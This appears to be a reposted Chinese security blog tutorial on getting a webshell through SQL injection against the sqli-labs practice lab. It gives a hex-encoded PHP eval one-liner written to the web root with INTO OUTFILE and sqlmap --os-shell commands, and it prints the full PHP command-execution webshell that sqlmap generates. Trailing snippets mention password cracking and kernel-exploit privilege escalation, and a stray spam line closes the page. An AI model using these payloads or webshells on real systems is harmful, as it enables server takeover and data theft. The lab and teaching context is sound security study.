<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    sql注入getshell的幾種方式

    VSole2022-07-08 08:09:43
    目錄一. into outfile    利用條件    寫入webshell二. --os-shell    --sql-shell
    

    介紹幾種利用sql注入獲取系統權限的方法,一是利用outfile函數,另外一種是利用--os-shell。

    一. into outfile

    利用條件

    1. 此方法利用的先決條件

    • web目錄具有寫權限,能夠使用單引號
    • 知道網站絕對路徑(根目錄,或則是根目錄往下的目錄都行)
    • secure_file_priv沒有具體值(在mysql/my.ini中查看)

    2. secure_file_priv

    secure_file_priv是用來限制load dumpfile、into outfile、load_file()函數在哪個目錄下擁有上傳和讀取文件的權限。在mysql 5.6.34版本以后 secure_file_priv的值默認為NULL。如下關于secure_file_priv的配置介紹

    • secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出
    • 當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下
    • 當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制
    • 所以如果我們要想使用into outfile函數寫入一句話的話就需要將secure_file_priv 的值設為沒有值,那如何設置了?修改secure_file_priv 的值只能通過手動打開配置文件進行修改,不能直接使用sql語句進行修改

    (1)看secure-file-priv參數的值

    show global variables like '%secure%';
    

    如下,secure_file_priv 的值默認為NULL,則表示限制mysqld 不允許導入|導出

    (2)修改secure_file_priv 的值

    我們可以在mysql/my.ini中查看是否有secure_file_priv 的參數,如果沒有的話我們就添加 secure_file_priv = ' ' 即可

    此時再查看secure_file_priv的值如下已經變為空了

    設置完成后我們就可以利用這個函數來寫入一句話木馬

    寫入webshell

    我們以sqli-labs第七關為例

    1. 注入點判斷

    輸入正確的語法正常顯示,錯誤的語法顯示說語法錯誤,頁面只存在兩種狀態,判斷為盲注。我們輸入?id=3')) and sleep(5) --+時成功延時,所以注入點就為3')),我們輸入的字符被包含在單引號中,且單引號外有兩個雙引號包裹

    2. 判斷列數

    我們使用order by 語句判斷列數,order by 3時,正常顯示,4時不正常,判斷為3列

    3. 寫入webshell

    加如此前我們已經通過一些方法獲取到了網站的根目錄,則可以寫入一句話 “ ”。一句話建議進行十六進制轉碼(不用編碼也可以) 16進制轉換,16進制轉換文本字符串,在線16進制轉換 | 在線工具

    編碼后,然后在最前面加上 0x。如下我們將一句話木馬進行十六進制編碼后寫入了根目錄下的outfile.php文件中

    ?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+
    

    成功寫入,這里網站的目錄要使用雙斜杠不然會寫不進去,第一個斜杠是轉義的意思,字符串解析不僅僅局限于C編譯器,Java編譯器、一些配置文件的解析、Web服務器等等,都會遇到對字符串進行解析的這個問題,由于傳統的 Windows采用的是單個斜杠的路徑分隔形式,導致在對文件路徑進行解析的時候可能發生不必要的錯誤,所以就出現了用雙反斜杠"\\"分隔路徑的形式。不管解析引擎是否將反斜杠解析成轉義字符,最終在內存中得到的都是"\",結果也就不會出問題了。

    4. 連接webshell

    成功連接

    如果我們將 secure_file_priv的值為設置為null,我們在進行上面的寫入操作發現并沒有寫進去。

    所以沒有寫進去的情況有兩種:

    • 網站的路徑不對,或者沒有使用雙斜杠進行轉義
    •  secure_file_priv的值不是為空

    二. --os-shell

    原理

    --os-shell就是使用udf提權獲取WebShell。也是通過into oufile向服務器寫入兩個文件,一個可以直接執行系統命令,一個進行上傳文件

    此為sqlmap的一個命令,利用這條命令的先決條件:

    • 要求為DBA,--is-dba(phpstudy搭建的一般為DBA)
    • secure_file_priv沒有具體值
    • 知道網站的絕對路徑
    • GPC為off,php主動轉義的功能關閉

    使用

    1. 測試

    我們以sqli-labs第一關為例


    sqlmap -u http://192.168.43.145/2_Shotting_Range/sql/Less-1/?id=1 --os-shell
    

    sqlmap在指定的目錄生成了兩個文件(文件名是隨機的,并不是固定的):


    tmpbeewq.php    用來執行系統命令
    tmpuqvgw.php     用來上傳文件
    

    1. tmpbeewq.php的文件內容為


     $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"
    $w
    ";?>
    

    訪問一下

    2. 使用tmpuqvgw.php上傳文件

    我們上傳一個php的一句話后門

    訪問

    所以這兩種方式都需要知道網站的絕對路徑才行。

    補充:

    上面說了sqlmap寫入webshell的方式有三種,缺一不可

    web目錄具有寫權限,能夠使用單引號

    知道網站絕對路徑

    secure_file_priv沒有具體值(在mysql/my.ini中查看)

    在最近的一次護網中,我使用sqlmap寫webshell,知道了網站的根目錄,還是寫不進去。就是由于secure_file_priv的值為NULL。那怎么知道這個值是什么了

    --sql-shell

    我們可以先使用這個來執行一些sql語句,如這為實戰中的測試

    輸入sql語句


    select @@secure_file_priv
    

    提示為NULL

    所以就會出現,如下的錯誤

    ————————————————

    作者:山山而川原文鏈接:https://blog.csdn.net/qq_44159028/article/details/116274542
    
    sql注入sqlmap
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    01登錄框存在sql注入:通過前期的信息搜集,發現站點使用thinkphp3.2版本的框架,在登錄頁面驗證存
    發現漏洞七月正值暑假,閑暇時光在百度上inurl一番,找到了一個古老的企業OA系統IP站點,沒有域名,掃過一眼,.NET流行時代的普遍漏洞浮現在腦海里——SQL注入在用戶名里輸入admin’,不負期望地報了錯很明顯,前后端都沒有對用戶的輸入進行過濾,直接將’帶入了SQL語句進行。初步判斷,此OA系統存在SQL注入漏洞。漏洞驗證打開BurpSuite,設置好瀏覽器代理,抓下HTTP請求,一氣呵成。
    option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27單引號嘗試:存在sql注入sqlmap 走起!跑數據 格式有點問題。獲取到管理員加密后的密碼$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu使用john 來破解john pwd --wordlist=/usr/share/wordlist/rockyou.txt admin/snoopy 登錄后臺3x0:后臺篇在后臺查找一番發現 類似于模板的頁面可以利用模板的信息在結合上面的端口信息沒有ssh應該是從web端進入 webshell?就接著用了4x0:提權篇查看系統的內核版本啟動kali上的apache,把exp上傳到服務器把exp下載到靶機解壓exp授權腳本使用exp報錯不影響使用獲取到root權限5x0:flag獲得
    記一次SQLmap實戰
    2021-09-28 07:41:13
    簡介:sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現并利用給定的URL的SQL注入漏洞,目
    一些重要的SQLMap命令
    2023-05-04 08:55:08
    從掃描SQL注入漏洞到獲取數據庫名字、表和列,以及獲得系統訪問權限,其可被用于多種目的。我們必須給SQLMap提供有效的cookie才能對登錄頁面的POST請求進行掃描。不過別總是保持一個較高的值,因為可能會影響結果的準確性。默認情況下值為1,最高可以設置為3。值為3時,就是最大值,包含了一些嚴重的SQL查詢。級別指定要執行的檢查或payload的數量。
    本靶機難度為高難度,涉及到了緩沖區溢出的源碼審計 ,逆向分析,動態調試等漏洞技能點,攻擊方法有2種:??SQL 注入得到的密碼可以保留。
    前段時間參加攻防演練的時候,發現目標系統有很多都使用了用友的產品,故整理一篇關于用友漏洞的文章。
    burp0_data = {"name": username, "pw": password, "repw": password, "email": email, "submit": ''}
    vulnhub之Mercury的實踐
    2022-11-30 10:31:40
    今天實踐的是vulnhub的Mercury鏡像,下載地址,https://download.vulnhub.
    滲透測試很多時候需要的細心和耐心再加上一點運氣
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类